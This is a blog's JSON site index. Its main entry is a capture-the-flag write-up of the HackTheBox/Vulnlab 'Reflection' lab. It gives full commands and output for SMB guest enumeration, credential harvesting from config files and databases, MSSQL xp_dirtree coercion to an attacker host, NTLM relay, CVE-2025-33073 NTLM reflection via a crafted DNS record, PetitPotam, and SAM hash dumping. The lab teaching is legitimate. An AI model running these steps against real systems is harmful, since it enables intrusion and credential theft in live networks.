[{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/active-directory/","section":"Tags","summary":"","title":"Active-Directory","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/adidns/","section":"Tags","summary":"","title":"ADIDNS","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/coercion/","section":"Tags","summary":"","title":"Coercion","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/cve-2025-33073/","section":"Tags","summary":"","title":"CVE-2025-33073","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/categories/hackthebox/","section":"Categories","summary":"","title":"Hackthebox","type":"categories"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/hackthebox/","section":"Tags","summary":"","title":"Hackthebox","type":"tags"},{"content":" Overview # We are given three hosts:\n10.13.38.44 dc01.reflection.vl (signing:False) - 53,88,389,445,1433,5985,3389... 10.13.38.45 ms01.reflection.vl (signing:False) - 445,1433,3389... 10.13.38.46 ws01.reflection.vl (signing:False) - 445,3389... Judging by the open ports, we can attest that 10.13.38.44 is the domain controller. Notably, SMB signing is disabled on all three machines, making them high-value candidates for relay attacks.\nEnumeration # SMB Guest Access # By first looking at SMB more closely, we can see that MS01 is the only host where the SMB guest account is not disabled:\nxqn@0xqn \u0026gt; nxc smb 10.13.38.44 -u guest -p \u0026#39;\u0026#39; SMB 10.13.38.44 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False) SMB 10.13.38.44 445 DC01 [-] reflection.vl\\guest: STATUS_ACCOUNT_DISABLED xqn@0xqn \u0026gt; nxc smb 10.13.38.45 -u guest -p \u0026#39;\u0026#39; SMB 10.13.38.45 445 MS01 [*] Windows Server 2022 Build 20348 x64 (name:MS01) (domain:reflection.vl) (signing:False) (SMBv1:False) SMB 10.13.38.45 445 MS01 [+] reflection.vl\\guest: xqn@0xqn \u0026gt; nxc smb 10.13.38.46 -u guest -p \u0026#39;\u0026#39; SMB 10.13.38.46 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:reflection.vl) (signing:False) (SMBv1:False) SMB 10.13.38.46 445 WS01 [-] reflection.vl\\guest: STATUS_ACCOUNT_DISABLED SMB Share Enumeration on MS01 # They all look like standard SMB folders, with the exception of staging:\nxqn@0xqn \u0026gt; nxc smb 10.13.38.45 -u guest -p \u0026#39;\u0026#39; --shares SMB 10.13.38.45 445 MS01 [*] Windows Server 2022 Build 20348 x64 (name:MS01) (domain:reflection.vl) (signing:False) (SMBv1:False) SMB 10.13.38.45 445 MS01 [+] reflection.vl\\guest: SMB 10.13.38.45 445 MS01 [*] Enumerated shares SMB 10.13.38.45 445 MS01 Share Permissions Remark SMB 10.13.38.45 445 MS01 ----- ----------- ------ SMB 10.13.38.45 445 MS01 ADMIN$ Remote Admin SMB 10.13.38.45 445 MS01 C$ Default share SMB 10.13.38.45 445 MS01 IPC$ READ Remote IPC SMB 10.13.38.45 445 MS01 staging READ staging environment Inside this non-standard share, we find a configuration file that appears to belong to a database:\nxqn@0xqn \u0026gt; smbclient -U\u0026#39;guest%\u0026#39; //10.13.38.45/staging Try \u0026#34;help\u0026#34; to get a list of possible commands. smb: \\\u0026gt; ls . D 0 Wed Jun 7 13:42:48 2023 .. D 0 Wed Jun 7 13:41:25 2023 staging_db.conf A 50 Thu Jun 8 07:21:49 2023 6261245 blocks of size 4096. 1786465 blocks available smb: \\\u0026gt; get staging_db.conf getting file \\staging_db.conf of size 50 as staging_db.conf (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec) We found the following entries:\nuser=web_staging password=Washroom510 db=staging MSSQL on MS01 # Knowing that Microsoft SQL Server is present on both DC01 and MS01, it is worth spraying these credentials against both:\nxqn@0xqn \u0026gt; impacket-mssqlclient web_staging:\u0026#39;Washroom510\u0026#39;@10.13.38.44 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [-] ERROR(DC01\\SQLEXPRESS): Line 1: Login failed for user \u0026#39;web_staging\u0026#39;. xqn@0xqn \u0026gt; impacket-mssqlclient web_staging:\u0026#39;Washroom510\u0026#39;@10.13.38.45 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies \u0026lt;...\u0026gt; SQL (web_staging guest@master)\u0026gt; We get a hit on MS01\u0026rsquo;s MSSQL server. As expected, besides the default databases, we find the staging one:\nSQL (web_staging guest@master)\u0026gt; enum_db name is_trustworthy_on ------- ----------------- master 0 tempdb 0 model 0 msdb 1 staging 0 SQL (web_staging guest@master)\u0026gt; enum_owner Database Owner -------- ----------- master sa tempdb sa model sa msdb sa staging web_staging Switching into the staging database and enumerating the users table:\nSQL (web_staging guest@master)\u0026gt; use staging ENVCHANGE(DATABASE): Old Value: master, New Value: staging INFO(MS01\\SQLEXPRESS): Line 1: Changed database context to \u0026#39;staging\u0026#39;. SQL (web_staging dbo@staging)\u0026gt; SELECT table_name FROM staging.INFORMATION_SCHEMA.tables table_name ---------- users SQL (web_staging dbo@staging)\u0026gt; SELECT * FROM users id username password -- -------- ------------- 1 b\u0026#39;dev01\u0026#39; b\u0026#39;Initial123\u0026#39; 2 b\u0026#39;dev02\u0026#39; b\u0026#39;Initial123\u0026#39; The two entries contain credentials that do not lead anywhere useful on their own.\nNTLM Relay via MSSQL # Returning to our first finding about SMB signing being disabled, we can try to coerce authentication via xp_dirtree and relay it. We first attempt to capture the challenge:\nSQL (web_staging dbo@staging)\u0026gt; xp_dirtree //10.10.16.8/share From our Responder server we capture the NTLMv2 challenge for REFLECTION\\svc_web_staging. Unfortunately, cracking it offline yields no result. However, we can relay it instead.\nWe start ntlmrelayx with interactive shell mode targeting DC01:\nxqn@0xqn \u0026gt; impacket-ntlmrelayx -smb2support -t smb://10.13.38.44 -i Then trigger the authentication again from the MSSQL session:\nSQL (web_staging dbo@staging)\u0026gt; xp_dirtree //10.10.16.8/share The relay succeeds:\nxqn@0xqn \u0026gt; impacket-ntlmrelayx -smb2support -t smb://10.13.38.44 -i \u0026lt;...\u0026gt; [*] Servers started, waiting for connections [*] (SMB): Received connection from 10.13.38.45, attacking target smb://10.13.38.44 [*] (SMB): Authenticating connection from REFLECTION/SVC_WEB_STAGING@10.13.38.45 against smb://10.13.38.44 SUCCEED [1] [*] smb://REFLECTION/SVC_WEB_STAGING@10.13.38.44 [1] -\u0026gt; Started interactive SMB client shell via TCP on 127.0.0.1:11000 We connect to the interactive shell:\nxqn@0xqn \u0026gt; nc 127.0.0.1 11000 Type help for list of commands # shares ADMIN$ C$ IPC$ NETLOGON prod SYSVOL As expected, we are now operating in the context of a domain user on DC01. Besides the standard shares, we find a prod share:\n# use prod # ls drw-rw-rw- 0 Wed Jun 7 13:44:26 2023 . drw-rw-rw- 0 Wed Jun 7 13:43:22 2023 .. -rw-rw-rw- 45 Thu Jun 8 07:24:39 2023 prod_db.conf The format is nearly identical to the one found on MS01, but with a different user and database:\nuser=web_prod password=Tribesman201 db=prod Pivoting to DC01\u0026rsquo;s MSSQL # Using the newly acquired credentials we can finally access the domain controller MSSQL:\nxqn@0xqn \u0026gt; impacket-mssqlclient web_prod:\u0026#39;Tribesman201\u0026#39;@10.13.38.44 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies \u0026lt;...\u0026gt; SQL (web_prod guest@master)\u0026gt; enum_db name is_trustworthy_on ------ ----------------- master 0 tempdb 0 model 0 msdb 1 prod 0 Dumping the prod database:\nSQL (web_prod dbo@prod)\u0026gt; SELECT * FROM users id name password -- --------------- ----------------- 1 b\u0026#39;abbie.smith\u0026#39; b\u0026#39;CMe1x+nlRaaWEw\u0026#39; 2 b\u0026#39;dorothy.rose\u0026#39; b\u0026#39;hC_fny3OK9glSJ\u0026#39; Spraying these credentials against the domain:\nxqn@0xqn \u0026gt; nxc smb 10.13.38.44 -u users.txt -p pass.txt --continue-on-success SMB 10.13.38.44 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False) SMB 10.13.38.44 445 DC01 [+] reflection.vl\\abbie.smith:CMe1x+nlRaaWEw We now have a valid domain user: abbie.smith.\nNTLM Reflection via Marshaled Target Info # Background: CVE-2025-33073 is an NTLM Reflection vulnerability that bypasses the existing mitigations Windows has built up against self-relay attacks over the years. The trick relies on how Windows resolves SPNs: when an SMB client connects to a target, it calls SecMakeSPNEx2, which internally uses CredMarshalTargetInfo to encode target information as Base64 and append it to the SPN. By registering a crafted DNS record containing this blob as its name, we can make the client resolve and strip the blob, leaving only the machine\u0026rsquo;s own hostname. The client then recognises the target as itself and includes its workstation and domain name in the NTLM_NEGOTIATE message, which signals the server to set the NTLMSSP_NEGOTIATE_LOCAL_CALL flag, triggering NTLM local authentication and effectively reflecting the authentication back to the originating machine.\nReferences:\nProject Zero: Using Kerberos for Authentication Relay Synacktiv: NTLM Reflection is Dead — Long Live NTLM Reflection (CVE-2025-33073) The crafted marshaled DNS record for DC01 looks like this:\ndc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA When the SMB client resolves this name, CredUnmarshalTargetInfo strips the blob, leaving just dc01.\nAdding the Crafted DNS Record # By default, any domain user can add child objects to Active Directory-Integrated DNS to facilitate dynamic DNS updates. We use abbie.smith to register the crafted record pointing to our machine:\nxqn@0xqn \u0026gt; dnstool -u \u0026#39;reflection\\abbie.smith\u0026#39; -p \u0026#39;CMe1x+nlRaaWEw\u0026#39; 10.13.38.44 \\ -a add -r dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.10.16.8 [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully Verifying DC01 is vulnerable to coercion:\nxqn@0xqn \u0026gt; nxc smb 10.13.38.44 -u abbie.smith -p \u0026#39;CMe1x+nlRaaWEw\u0026#39; -M coerce_plus SMB 10.13.38.44 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False) SMB 10.13.38.44 445 DC01 [+] reflection.vl\\abbie.smith:CMe1x+nlRaaWEw COERCE_PLUS 10.13.38.44 445 DC01 VULNERABLE, PetitPotam Relaying with SOCKS # We start ntlmrelayx in SOCKS mode, targeting DC01:\nxqn@0xqn \u0026gt; impacket-ntlmrelayx -smb2support -t smb://10.13.38.44 -socks Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies \u0026lt;...\u0026gt; [*] SOCKS proxy started. Listening on 127.0.0.1:1080 [*] Servers started, waiting for connections Type help for list of commands ntlmrelayx\u0026gt; Now we coerce DC01 via PetitPotam, pointing it at our crafted DNS record:\nxqn@0xqn \u0026gt; PetitPotam -u abbie.smith -p \u0026#39;CMe1x+nlRaaWEw\u0026#39; -d \\ REFLECTION.VL dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DC01.REFLECTION.VL \u0026lt;...\u0026gt; [+] Connected! [+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e [+] Successfully bound! [+] Attack worked! Back on our listener, we can notice the connection both originates and lands on 10.13.38.44, the reflection indeed worked.\nxqn@0xqn \u0026gt; impacket-ntlmrelayx -smb2support -t smb://10.13.38.44 -socks \u0026lt;...\u0026gt; ntlmrelayx\u0026gt; [*] (SMB): Received connection from 10.13.38.44, attacking target smb://10.13.38.44 [*] (SMB): Authenticating connection from /@10.13.38.44 against smb://10.13.38.44 SUCCEED [1] [*] SOCKS: Adding SMB:///@10.13.38.44(445) [1] to active SOCKS connection. Enjoy I want your secrets # xqn@0xqn \u0026gt; proxychains -q impacket-secretsdump -no-pass \u0026#39;@10.13.38.44\u0026#39; Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0xfcb176024780bc221b4c7b3f35e16dfd [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:a87a3e893c70111c8cad0ecbda9f4002::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: \u0026lt;...\u0026gt; Wrapping it up # To conclude, here are the latest updates installed on the machine, dating back to May 2025, the patch itself was deployed on June 10, 2025.\nPS C:\\Windows\\System32\u0026gt; Get-Hotfix | Select-Object HotFixID,Description,InstalledOn HotFixID Description InstalledOn -------- ----------- ----------- KB5055169 Update 5/19/2025 12:00:00 AM KB5012170 Security Update 6/6/2023 12:00:00 AM KB5026370 Security Update 6/6/2023 12:00:00 AM KB5058531 Security Update 5/19/2025 12:00:00 AM ","date":"24 March 2026","externalUrl":null,"permalink":"/posts/reflection_with_the_actual_reflection/","section":"","summary":"","title":"HTB: Reflection, with the actual reflection","type":"posts"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/mssql/","section":"Tags","summary":"","title":"Mssql","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/ntlm-reflection/","section":"Tags","summary":"","title":"Ntlm-Reflection","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/ntlm-relay/","section":"Tags","summary":"","title":"Ntlm-Relay","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/petitpotam/","section":"Tags","summary":"","title":"Petitpotam","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/smb/","section":"Tags","summary":"","title":"Smb","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/categories/vulnlab/","section":"Categories","summary":"","title":"Vulnlab","type":"categories"},{"content":"","date":"24 March 2026","externalUrl":null,"permalink":"/tags/vulnlab/","section":"Tags","summary":"","title":"Vulnlab","type":"tags"},{"content":"","externalUrl":null,"permalink":"/","section":"","summary":"","title":"","type":"page"},{"content":"about\n","externalUrl":null,"permalink":"/about/","section":"","summary":"","title":"","type":"page"},{"content":" About # I write about enterprise network security, with a focus on Active Directory and adversarial operations.\n","externalUrl":null,"permalink":"/authors/0xqn/","section":"Authors","summary":"","title":"","type":"authors"},{"content":"","externalUrl":null,"permalink":"/authors/sigpwn/","section":"Authors","summary":"","title":"","type":"authors"},{"content":"","externalUrl":null,"permalink":"/posts/","section":"","summary":"","title":"","type":"posts"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]